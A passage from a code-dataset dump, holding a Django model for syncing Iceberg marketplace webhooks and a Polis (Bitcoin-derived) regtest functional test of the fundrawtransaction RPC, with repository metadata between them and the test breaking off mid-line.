iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) iceberg_webhook.delete() except Exception as err: if not fail_silently: raise logger.warn("Couldnt delete webhook %s on iceberg: %s", self.iceberg_id, err) if ICEBERG_WEBHOOK_MODEL == "django_iceberg.IcebergWebhook": ### if defined as ICEBERG_WEBHOOK_MODEL, defining non abstract model class IcebergWebhook(AbstractIcebergWebhook): pass
48.682927
120
0.693888
from django.db import models from django.conf import settings from django.utils.translation import ugettext_lazy as _ from .base_models import IcebergBaseModel WEBHOOK_MAX_TRIGGER_AGGREGATION = getattr(settings, 'WEBHOOK_MAX_TRIGGER_AGGREGATION', 200) WEBHOOK_DEFAULT_AGGREGATION_DELAY = getattr(settings, 'WEBHOOK_DEFAULT_AGGREGATION_DELAY', 5*60) WEBHOOK_DEFAULT_RETRY_DELAY = getattr(settings, 'WEBHOOK_DEFAULT_RETRY_DELAY', 15*60) WEBHOOK_DEFAULT_MAX_ATTEMPTS = getattr(settings, 'WEBHOOK_DEFAULT_MAX_ATTEMPTS', 5) WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION = getattr(settings, 'WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION', 10) ICEBERG_WEBHOOK_MODEL = getattr(settings, "ICEBERG_WEBHOOK_MODEL", "django_iceberg.IcebergWebhook") import logging logger = logging.getLogger(__name__) class AbstractIcebergWebhook(IcebergBaseModel): class Meta: abstract = True EVENT_CHOICES = ( ('cart_status_changed', ('A cart status has changed')), ('merchant_order_authorized', ('A new merchant order is now authorized')), ('merchant_order_confirmed', ('A merchant order is now confirmed')), ('merchant_order_cancelled', ('An authorized merchant order is now cancelled')), ('merchant_order_sent', ('A merchant order is now sent')), ('merchant_order_received', ('A merchant order is now received')), ('order_item_cancelled', ('An authorized order item is now cancelled')), ('new_merchant_available', ('A new merchant is available for your application')), ('merchant_activated', ('A merchant is now activated')), ('merchant_paused', ('A merchant is now paused')), ('merchant_stopped', ('A merchant is now stopped')), ('bank_account_saved', ("A merchant saved bank information.")), ('user_payment_card_created', ('A user has added a new payment card')), ('user_payment_card_status_changed', ('A user payment card has its status changed')), ('payment_status_changed', ('A payment object has its status updated')), ('product_updated', ('An active product has been updated')), ('product_offer_updated', ('An active product offer has been updated')), ('user_profile_updated', ('A user profile has been updated')), ('order_authorized', ('A new order is now authorized')), ('order_confirmed', ('An order is now confirmed')), ('order_cancelled', ('An authorized order is now cancelled')), ('order_sent', ('An order is now sent')), ('order_received', ('An order is now received')), ('return_opened', ('A new return request has been opened')), ('return_reopened', ('A closed or cancelled return request has been reopened and set to accepted status')), ('return_accepted', ('An open return request is now accepted')), ('return_cancelled', ('An open or accepted return request has been cancelled')), ('return_package_received', ('An accepted return request\'s package was received.')), ('return_closed_by_seller', ('A return request has been closed by seller')), ('return_closed_by_buyer', ('A return request has been closed by buyer')), ('return_request_closed', ('A return request has been closed either by buyer or by seller')), ('package_tracking_status_changed', ('A tracked package has its status updated')), ('package_tracking_overall_status_changed', ('A tracked package has its overall status updated')), ('package_tracking_number_added', ('A tracked package has now a tracking number')), ('new_package_tracking', ('A new package is being tracked')), ('new_message', ('A new message has been sent over the marketplace')), ('message_read', ('A message has been read on the marketplace')), ('message_closed', ('A thread of messages is closed on the marketplace')), ) event = models.CharField(max_length=100, choices=EVENT_CHOICES, db_index=True) url = models.URLField('Target URL', max_length=255) active_merchant_only = models.BooleanField( _('Limit this webhook to active merchant(s) ?'), default=True ) aggregation_delay = models.PositiveIntegerField( _('Delay in seconds before triggering the aggregated webhook'), default=WEBHOOK_DEFAULT_AGGREGATION_DELAY ) application_id = models.PositiveIntegerField(blank=True, null=True) merchant_id = models.PositiveIntegerField(blank=True, null=True) comment = models.CharField(max_length=255, null=True, blank=True) label = models.CharField(max_length=128, null=True, blank=True, db_index=True) created_at = models.DateTimeField(blank=True, null=True) max_attempts = models.PositiveSmallIntegerField( _('Maximum Attempts'), default = WEBHOOK_DEFAULT_MAX_ATTEMPTS ) new_attempt_delay = models.PositiveIntegerField( _('Delay in seconds before retrying to fire the webhook'), default = WEBHOOK_DEFAULT_RETRY_DELAY ) max_trigger_aggregation = models.PositiveSmallIntegerField( _('Maximum number of triggers that can be aggregated (1 if no aggregation)'), default = WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION ) status = models.CharField(null=True, blank=True, max_length=20, db_index=True) updated_at = models.DateTimeField(blank=True, null=True) user_id = models.PositiveIntegerField(blank=True, null=True) version = models.CharField( _('Version of the webhook (different formats)'), max_length=10, blank=True, null=True ) def __unicode__(self): return u"[%s]%s" % (self.id, self.event) def save(self, api_handler=None, iceberg_sync=True, *args, **kwargs): self.full_clean() super(AbstractIcebergWebhook, self).save(*args, **kwargs) if not iceberg_sync: return if api_handler: self.create_or_update_on_iceberg(api_handler) else: if self.iceberg_id is None: logger.warn("No api_handler given as save() params, not created on Iceberg.\ Call self.create_or_update_on_iceberg to create it") else: logger.warn("No api_handler given as save() params, not updated on Iceberg.\ Call self.create_or_update_on_iceberg to update it") def create_or_update_on_iceberg(self, api_handler): iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) if self.iceberg_id else api_handler.Webhook() iceberg_webhook.application = api_handler.Application.find(self.application_id) if self.application_id else None iceberg_webhook.merchant = api_handler.Store.find(self.merchant_id) if self.merchant_id else None iceberg_webhook.event = self.event iceberg_webhook.url = self.url iceberg_webhook.active_merchant_only = self.active_merchant_only iceberg_webhook.aggregation_delay = self.aggregation_delay iceberg_webhook.comment = self.comment iceberg_webhook.label = self.label iceberg_webhook.max_attempts = self.max_attempts iceberg_webhook.new_attempt_delay = self.new_attempt_delay iceberg_webhook.max_trigger_aggregation = self.max_trigger_aggregation iceberg_webhook.save() self.iceberg_id = iceberg_webhook.id ## calling iceberg_sync() to update the fields of 'self' to the actual values (some fields might be uneditable) self.iceberg_sync(api_handler) def delete(self, api_handler=None, *args, **kwargs): if api_handler: self._iceberg_delete(api_handler, fail_silently=True) super(AbstractIcebergWebhook, self).delete(*args, **kwargs) def iceberg_sync(self, api_handler): if self.iceberg_id is None: raise Exception("%s instance has no iceberg_id, can't sync" % self.__class__.__name__) iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) self.application_id = iceberg_webhook.application.id if iceberg_webhook.application else None self.merchant_id = iceberg_webhook.merchant.id if iceberg_webhook.merchant else None self.url = iceberg_webhook.url self.event = iceberg_webhook.event self.status = iceberg_webhook.status self.max_attempts = iceberg_webhook.max_attempts self.new_attempt_delay = iceberg_webhook.new_attempt_delay self.label = iceberg_webhook.label self.version = iceberg_webhook.version self.max_trigger_aggregation = iceberg_webhook.max_trigger_aggregation self.aggregation_delay = iceberg_webhook.aggregation_delay self.active_merchant_only = iceberg_webhook.active_merchant_only self.created_at = iceberg_webhook.created_at self.updated_at = iceberg_webhook.updated_at super(AbstractIcebergWebhook, self).save() pi_handler, fail_silently=False): try: if self.iceberg_id is None: raise Exception("%s instance has no iceberg_id, can't sync" % self.__class__.__name__) iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) iceberg_webhook.delete() except Exception as err: if not fail_silently: raise logger.warn("Couldnt delete webhook %s on iceberg: %s", self.iceberg_id, err) if ICEBERG_WEBHOOK_MODEL == "django_iceberg.IcebergWebhook": ### if defined as ICEBERG_WEBHOOK_MODEL, defining non abstract model class IcebergWebhook(AbstractIcebergWebhook): pass
true
true
f73d89e88b8f2a4e3ad5941f68479993ab9674a7
33,783
py
Python
qa/rpc-tests/fundrawtransaction.py
ChaosPolis/polis
80e0c058ff28a14ae13e4470e83158bc71cb90a1
[ "MIT" ]
null
null
null
qa/rpc-tests/fundrawtransaction.py
ChaosPolis/polis
80e0c058ff28a14ae13e4470e83158bc71cb90a1
[ "MIT" ]
1
2019-09-05T12:59:08.000Z
2019-09-05T16:21:13.000Z
qa/rpc-tests/fundrawtransaction.py
ChaosPolis/polis
80e0c058ff28a14ae13e4470e83158bc71cb90a1
[ "MIT" ]
3
2019-08-29T21:28:36.000Z
2019-09-01T18:54:39.000Z
#!/usr/bin/env python3 # Copyright (c) 2014-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * def get_unspent(listunspent, amount): for utx in listunspent: if utx['amount'] == amount: return utx raise AssertionError('Could not find unspent with amount={}'.format(amount)) class RawTransactionsTest(BitcoinTestFramework): def __init__(self): super().__init__() self.setup_clean_chain = True self.num_nodes = 4 def setup_network(self, split=False): self.nodes = start_nodes(self.num_nodes, self.options.tmpdir, [['-usehd=0']] * self.num_nodes) connect_nodes_bi(self.nodes,0,1) connect_nodes_bi(self.nodes,1,2) connect_nodes_bi(self.nodes,0,2) connect_nodes_bi(self.nodes,0,3) self.is_network_split=False self.sync_all() def run_test(self): print("Mining blocks...") min_relay_tx_fee = self.nodes[0].getnetworkinfo()['relayfee'] # This test is not meant to test fee estimation and we'd like # to be sure all txs are sent at a consistent desired feerate for node in self.nodes: node.settxfee(min_relay_tx_fee) # if the fee's positive delta is higher than this value tests will fail, # neg. delta always fail the tests. # The size of the signature of every input may be at most 2 bytes larger # than a minimum sized signature. # = 2 bytes * minRelayTxFeePerByte feeTolerance = 2 * min_relay_tx_fee/1000 self.nodes[2].generate(1) self.sync_all() self.nodes[0].generate(121) self.sync_all() # ensure that setting changePosition in fundraw with an exact match is handled properly rawmatch = self.nodes[2].createrawtransaction([], {self.nodes[2].getnewaddress():500}) rawmatch = self.nodes[2].fundrawtransaction(rawmatch, {"changePosition":1, "subtractFeeFromOutputs":[0]}) assert_equal(rawmatch["changepos"], -1) watchonly_address = self.nodes[0].getnewaddress() watchonly_pubkey = self.nodes[0].validateaddress(watchonly_address)["pubkey"] watchonly_amount = Decimal(2000) self.nodes[3].importpubkey(watchonly_pubkey, "", True) watchonly_txid = self.nodes[0].sendtoaddress(watchonly_address, watchonly_amount) self.nodes[0].sendtoaddress(self.nodes[3].getnewaddress(), watchonly_amount / 10) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 15) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 10) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 50) self.nodes[0].generate(1) self.sync_all() ############### # simple test # ############### inputs = [ ] outputs = { self.nodes[0].getnewaddress() : 10 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) assert(len(dec_tx['vin']) > 0) #test that we have enough inputs ############################## # simple test with two coins # ############################## inputs = [ ] outputs = { self.nodes[0].getnewaddress() : 22 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) assert(len(dec_tx['vin']) > 0) #test if we have enough inputs ############################## # simple test with two coins # ############################## inputs = [ ] outputs = { self.nodes[0].getnewaddress() : 26 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) assert(len(dec_tx['vin']) > 0) assert_equal(dec_tx['vin'][0]['scriptSig']['hex'], '') ################################ # simple test with two outputs # ################################ inputs = [ ] outputs = { self.nodes[0].getnewaddress() : 26, self.nodes[1].getnewaddress() : 25 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 for out in dec_tx['vout']: totalOut += out['value'] assert(len(dec_tx['vin']) > 0) assert_equal(dec_tx['vin'][0]['scriptSig']['hex'], '') ######################################################################### # test a fundrawtransaction with a VIN greater than the required amount # ######################################################################### utx = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']}] outputs = { self.nodes[0].getnewaddress() : 10 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 for out in dec_tx['vout']: totalOut += out['value'] assert_equal(fee + totalOut, utx['amount']) #compare vin total and totalout+fee ##################################################################### # test a fundrawtransaction with which will not get a change output # ##################################################################### utx = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']}] outputs = { self.nodes[0].getnewaddress() : Decimal(50) - fee - feeTolerance } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 for out in dec_tx['vout']: totalOut += out['value'] assert_equal(rawtxfund['changepos'], -1) assert_equal(fee + totalOut, utx['amount']) #compare vin total and totalout+fee #################################################### # test a fundrawtransaction with an invalid option # #################################################### utx = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']} ] outputs = { self.nodes[0].getnewaddress() : Decimal(40) } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) try: self.nodes[2].fundrawtransaction(rawtx, {'foo': 'bar'}) raise AssertionError("Accepted invalid option foo") except JSONRPCException as e: assert("Unexpected key foo" in e.error['message']) ############################################################ # test a fundrawtransaction with an invalid change address # ############################################################ utx = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']} ] outputs = { self.nodes[0].getnewaddress() : Decimal(40) } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) try: self.nodes[2].fundrawtransaction(rawtx, {'changeAddress': 'foobar'}) raise AssertionError("Accepted invalid polis address") except JSONRPCException as e: assert("changeAddress must be a valid polis address" in e.error['message']) ############################################################ # test a fundrawtransaction with a provided change address # ############################################################ utx = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']} ] outputs = { self.nodes[0].getnewaddress() : Decimal(40) } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) change = self.nodes[2].getnewaddress() try: rawtxfund = self.nodes[2].fundrawtransaction(rawtx, {'changeAddress': change, 'changePosition': 2}) except JSONRPCException as e: assert('changePosition out of bounds' == e.error['message']) else: assert(False) rawtxfund = self.nodes[2].fundrawtransaction(rawtx, {'changeAddress': change, 'changePosition': 0}) dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) out = dec_tx['vout'][0] assert_equal(change, out['scriptPubKey']['addresses'][0]) ######################################################################### # test a fundrawtransaction with a VIN smaller than the required amount # ######################################################################### utx = get_unspent(self.nodes[2].listunspent(), 10) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']}] outputs = { self.nodes[0].getnewaddress() : 10 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) # 4-byte version + 1-byte vin count + 36-byte prevout then script_len rawtx = rawtx[:82] + "0100" + rawtx[84:] dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) assert_equal("00", dec_tx['vin'][0]['scriptSig']['hex']) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 matchingOuts = 0 for i, out in enumerate(dec_tx['vout']): totalOut += out['value'] if out['scriptPubKey']['addresses'][0] in outputs: matchingOuts+=1 else: assert_equal(i, rawtxfund['changepos']) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) assert_equal("00", dec_tx['vin'][0]['scriptSig']['hex']) assert_equal(matchingOuts, 1) assert_equal(len(dec_tx['vout']), 2) ########################################### # test a fundrawtransaction with two VINs # ########################################### utx = get_unspent(self.nodes[2].listunspent(), 10) utx2 = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']},{'txid' : utx2['txid'], 'vout' : utx2['vout']} ] outputs = { self.nodes[0].getnewaddress() : 60 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 matchingOuts = 0 for out in dec_tx['vout']: totalOut += out['value'] if out['scriptPubKey']['addresses'][0] in outputs: matchingOuts+=1 assert_equal(matchingOuts, 1) assert_equal(len(dec_tx['vout']), 2) matchingIns = 0 for vinOut in dec_tx['vin']: for vinIn in inputs: if vinIn['txid'] == vinOut['txid']: matchingIns+=1 assert_equal(matchingIns, 2) #we now must see two vins identical to vins given as params ######################################################### # test a fundrawtransaction with two VINs and two vOUTs # ######################################################### utx = get_unspent(self.nodes[2].listunspent(), 10) utx2 = get_unspent(self.nodes[2].listunspent(), 50) inputs = [ {'txid' : utx['txid'], 'vout' : utx['vout']},{'txid' : utx2['txid'], 'vout' : utx2['vout']} ] outputs = { self.nodes[0].getnewaddress() : 60, self.nodes[0].getnewaddress() : 10 } rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(utx['txid'], dec_tx['vin'][0]['txid']) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) totalOut = 0 matchingOuts = 0 for out in dec_tx['vout']: totalOut += out['value'] if out['scriptPubKey']['addresses'][0] in outputs: matchingOuts+=1 assert_equal(matchingOuts, 2) assert_equal(len(dec_tx['vout']), 3) ############################################## # test a fundrawtransaction with invalid vin # ############################################## listunspent = self.nodes[2].listunspent() inputs = [ {'txid' : "1c7f966dab21119bac53213a2bc7532bff1fa844c124fd750a7d0b1332440bd1", 'vout' : 0} ] #invalid vin! outputs = { self.nodes[0].getnewaddress() : 10} rawtx = self.nodes[2].createrawtransaction(inputs, outputs) dec_tx = self.nodes[2].decoderawtransaction(rawtx) try: rawtxfund = self.nodes[2].fundrawtransaction(rawtx) raise AssertionError("Spent more than available") except JSONRPCException as e: assert("Insufficient" in e.error['message']) ############################################################ #compare fee of a standard pubkeyhash transaction inputs = [] outputs = {self.nodes[1].getnewaddress():11} rawTx = self.nodes[0].createrawtransaction(inputs, outputs) fundedTx = self.nodes[0].fundrawtransaction(rawTx) #create same transaction over sendtoaddress txId = self.nodes[0].sendtoaddress(self.nodes[1].getnewaddress(), 11) signedFee = self.nodes[0].getrawmempool(True)[txId]['fee'] #compare fee feeDelta = Decimal(fundedTx['fee']) - Decimal(signedFee) assert(feeDelta >= 0 and feeDelta <= feeTolerance) ############################################################ ############################################################ #compare fee of a standard pubkeyhash transaction with multiple outputs inputs = [] outputs = {self.nodes[1].getnewaddress():11,self.nodes[1].getnewaddress():12,self.nodes[1].getnewaddress():1,self.nodes[1].getnewaddress():13,self.nodes[1].getnewaddress():2,self.nodes[1].getnewaddress():3} rawTx = self.nodes[0].createrawtransaction(inputs, outputs) fundedTx = self.nodes[0].fundrawtransaction(rawTx) #create same transaction over sendtoaddress txId = self.nodes[0].sendmany("", outputs) signedFee = self.nodes[0].getrawmempool(True)[txId]['fee'] #compare fee feeDelta = Decimal(fundedTx['fee']) - Decimal(signedFee) assert(feeDelta >= 0 and feeDelta <= feeTolerance) ############################################################ ############################################################ #compare fee of a 2of2 multisig p2sh transaction # create 2of2 addr addr1 = self.nodes[1].getnewaddress() addr2 = self.nodes[1].getnewaddress() addr1Obj = self.nodes[1].validateaddress(addr1) addr2Obj = self.nodes[1].validateaddress(addr2) mSigObj = self.nodes[1].addmultisigaddress(2, [addr1Obj['pubkey'], addr2Obj['pubkey']]) inputs = [] outputs = {mSigObj:11} rawTx = self.nodes[0].createrawtransaction(inputs, outputs) fundedTx = self.nodes[0].fundrawtransaction(rawTx) #create same transaction over sendtoaddress txId = self.nodes[0].sendtoaddress(mSigObj, 11) signedFee = self.nodes[0].getrawmempool(True)[txId]['fee'] #compare fee feeDelta = Decimal(fundedTx['fee']) - Decimal(signedFee) assert(feeDelta >= 0 and feeDelta <= feeTolerance) ############################################################ ############################################################ #compare fee of a standard pubkeyhash transaction # create 4of5 addr addr1 = self.nodes[1].getnewaddress() addr2 = self.nodes[1].getnewaddress() addr3 = self.nodes[1].getnewaddress() addr4 = self.nodes[1].getnewaddress() addr5 = self.nodes[1].getnewaddress() addr1Obj = self.nodes[1].validateaddress(addr1) addr2Obj = self.nodes[1].validateaddress(addr2) addr3Obj = self.nodes[1].validateaddress(addr3) addr4Obj = self.nodes[1].validateaddress(addr4) addr5Obj = self.nodes[1].validateaddress(addr5) mSigObj = self.nodes[1].addmultisigaddress(4, [addr1Obj['pubkey'], addr2Obj['pubkey'], addr3Obj['pubkey'], addr4Obj['pubkey'], addr5Obj['pubkey']]) inputs = [] outputs = {mSigObj:11} rawTx = self.nodes[0].createrawtransaction(inputs, outputs) fundedTx = self.nodes[0].fundrawtransaction(rawTx) #create same transaction over sendtoaddress txId = self.nodes[0].sendtoaddress(mSigObj, 11) signedFee = self.nodes[0].getrawmempool(True)[txId]['fee'] #compare fee feeDelta = Decimal(fundedTx['fee']) - Decimal(signedFee) assert(feeDelta >= 0 and feeDelta <= feeTolerance) ############################################################ ############################################################ # spend a 2of2 multisig transaction over fundraw # create 2of2 addr addr1 = self.nodes[2].getnewaddress() addr2 = self.nodes[2].getnewaddress() addr1Obj = self.nodes[2].validateaddress(addr1) addr2Obj = self.nodes[2].validateaddress(addr2) mSigObj = self.nodes[2].addmultisigaddress(2, [addr1Obj['pubkey'], addr2Obj['pubkey']]) # send 12 POLIS to msig addr txId = self.nodes[0].sendtoaddress(mSigObj, 12) self.sync_all() self.nodes[1].generate(1) self.sync_all() oldBalance = self.nodes[1].getbalance() inputs = [] outputs = {self.nodes[1].getnewaddress():11} rawTx = self.nodes[2].createrawtransaction(inputs, outputs) fundedTx = self.nodes[2].fundrawtransaction(rawTx) signedTx = self.nodes[2].signrawtransaction(fundedTx['hex']) txId = self.nodes[2].sendrawtransaction(signedTx['hex']) self.sync_all() self.nodes[1].generate(1) self.sync_all() # make sure funds are received at node1 assert_equal(oldBalance+Decimal('11.0000000'), self.nodes[1].getbalance()) ############################################################ # locked wallet test self.nodes[1].encryptwallet("test") self.nodes.pop(1) stop_node(self.nodes[0], 0) stop_node(self.nodes[1], 2) stop_node(self.nodes[2], 3) self.nodes = start_nodes(self.num_nodes, self.options.tmpdir, [['-usehd=0']] * self.num_nodes) # This test is not meant to test fee estimation and we'd like # to be sure all txs are sent at a consistent desired feerate for node in self.nodes: node.settxfee(min_relay_tx_fee) connect_nodes_bi(self.nodes,0,1) connect_nodes_bi(self.nodes,1,2) connect_nodes_bi(self.nodes,0,2) connect_nodes_bi(self.nodes,0,3) self.is_network_split=False self.sync_all() # drain the keypool self.nodes[1].getnewaddress() inputs = [] outputs = {self.nodes[0].getnewaddress():1.1} rawTx = self.nodes[1].createrawtransaction(inputs, outputs) # fund a transaction that requires a new key for the change output # creating the key must be impossible because the wallet is locked try: fundedTx = self.nodes[1].fundrawtransaction(rawTx) raise AssertionError("Wallet unlocked without passphrase") except JSONRPCException as e: assert('Keypool ran out' in e.error['message']) #refill the keypool self.nodes[1].walletpassphrase("test", 100) self.nodes[1].walletlock() try: self.nodes[1].sendtoaddress(self.nodes[0].getnewaddress(), 12) raise AssertionError("Wallet unlocked without passphrase") except JSONRPCException as e: assert('walletpassphrase' in e.error['message']) oldBalance = self.nodes[0].getbalance() inputs = [] outputs = {self.nodes[0].getnewaddress():11} rawTx = self.nodes[1].createrawtransaction(inputs, outputs) fundedTx = self.nodes[1].fundrawtransaction(rawTx) #now we need to unlock self.nodes[1].walletpassphrase("test", 600) signedTx = self.nodes[1].signrawtransaction(fundedTx['hex']) txId = self.nodes[1].sendrawtransaction(signedTx['hex']) self.nodes[1].generate(1) self.sync_all() # make sure funds are received at node1 assert_equal(oldBalance+Decimal('511.0000000'), self.nodes[0].getbalance()) ############################################### # multiple (~19) inputs tx test | Compare fee # ############################################### #empty node1, send some small coins from node0 to node1 self.nodes[1].sendtoaddress(self.nodes[0].getnewaddress(), self.nodes[1].getbalance(), "", "", True) self.sync_all() self.nodes[0].generate(1) self.sync_all() for i in range(0,20): self.nodes[0].sendtoaddress(self.nodes[1].getnewaddress(), 0.01) self.nodes[0].generate(1) self.sync_all() #fund a tx with ~20 small inputs inputs = [] outputs = {self.nodes[0].getnewaddress():0.15,self.nodes[0].getnewaddress():0.04} rawTx = self.nodes[1].createrawtransaction(inputs, outputs) fundedTx = self.nodes[1].fundrawtransaction(rawTx) #create same transaction over sendtoaddress txId = self.nodes[1].sendmany("", outputs) signedFee = self.nodes[1].getrawmempool(True)[txId]['fee'] #compare fee feeDelta = Decimal(fundedTx['fee']) - Decimal(signedFee) assert(feeDelta >= 0 and feeDelta <= feeTolerance*19) #~19 inputs ############################################# # multiple (~19) inputs tx test | sign/send # ############################################# #again, empty node1, send some small coins from node0 to node1 self.nodes[1].sendtoaddress(self.nodes[0].getnewaddress(), self.nodes[1].getbalance(), "", "", True) self.sync_all() self.nodes[0].generate(1) self.sync_all() for i in range(0,20): self.nodes[0].sendtoaddress(self.nodes[1].getnewaddress(), 0.01) self.nodes[0].generate(1) self.sync_all() #fund a tx with ~20 small inputs oldBalance = self.nodes[0].getbalance() inputs = [] outputs = {self.nodes[0].getnewaddress():0.15,self.nodes[0].getnewaddress():0.04} rawTx = self.nodes[1].createrawtransaction(inputs, outputs) fundedTx = self.nodes[1].fundrawtransaction(rawTx) fundedAndSignedTx = self.nodes[1].signrawtransaction(fundedTx['hex']) txId = self.nodes[1].sendrawtransaction(fundedAndSignedTx['hex']) self.sync_all() self.nodes[0].generate(1) self.sync_all() assert_equal(oldBalance+Decimal('500.19000000'), self.nodes[0].getbalance()) #0.19+block reward ##################################################### # test fundrawtransaction with OP_RETURN and no vin # ##################################################### rawtx = "0100000000010000000000000000066a047465737400000000" dec_tx = self.nodes[2].decoderawtransaction(rawtx) assert_equal(len(dec_tx['vin']), 0) assert_equal(len(dec_tx['vout']), 1) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) assert_greater_than(len(dec_tx['vin']), 0) # at least one vin assert_equal(len(dec_tx['vout']), 2) # one change output added ################################################## # test a fundrawtransaction using only watchonly # ################################################## inputs = [] outputs = {self.nodes[2].getnewaddress() : watchonly_amount / 2} rawtx = self.nodes[3].createrawtransaction(inputs, outputs) result = self.nodes[3].fundrawtransaction(rawtx, {'includeWatching': True }) res_dec = self.nodes[0].decoderawtransaction(result["hex"]) assert_equal(len(res_dec["vin"]), 1) assert_equal(res_dec["vin"][0]["txid"], watchonly_txid) assert("fee" in result.keys()) assert_greater_than(result["changepos"], -1) ############################################################### # test fundrawtransaction using the entirety of watched funds # ############################################################### inputs = [] outputs = {self.nodes[2].getnewaddress() : watchonly_amount} rawtx = self.nodes[3].createrawtransaction(inputs, outputs) # Backward compatibility test (2nd param is includeWatching) result = self.nodes[3].fundrawtransaction(rawtx, True) res_dec = self.nodes[0].decoderawtransaction(result["hex"]) assert_equal(len(res_dec["vin"]), 2) assert(res_dec["vin"][0]["txid"] == watchonly_txid or res_dec["vin"][1]["txid"] == watchonly_txid) assert_greater_than(result["fee"], 0) assert_greater_than(result["changepos"], -1) assert_equal(result["fee"] + res_dec["vout"][result["changepos"]]["value"], watchonly_amount / 10) signedtx = self.nodes[3].signrawtransaction(result["hex"]) assert(not signedtx["complete"]) signedtx = self.nodes[0].signrawtransaction(signedtx["hex"]) assert(signedtx["complete"]) self.nodes[0].sendrawtransaction(signedtx["hex"]) self.nodes[0].generate(1) self.sync_all() ####################### # Test feeRate option # ####################### # Make sure there is exactly one input so coin selection can't skew the result assert_equal(len(self.nodes[3].listunspent(1)), 1) inputs = [] outputs = {self.nodes[3].getnewaddress() : 1} rawtx = self.nodes[3].createrawtransaction(inputs, outputs) result = self.nodes[3].fundrawtransaction(rawtx) # uses min_relay_tx_fee (set by settxfee) result2 = self.nodes[3].fundrawtransaction(rawtx, {"feeRate": 2*min_relay_tx_fee}) result3 = self.nodes[3].fundrawtransaction(rawtx, {"feeRate": 10*min_relay_tx_fee}) result_fee_rate = result['fee'] * 1000 / count_bytes(result['hex']) assert_fee_amount(result2['fee'], count_bytes(result2['hex']), 2 * result_fee_rate) assert_fee_amount(result3['fee'], count_bytes(result3['hex']), 10 * result_fee_rate) ############################# # Test address reuse option # ############################# result3 = 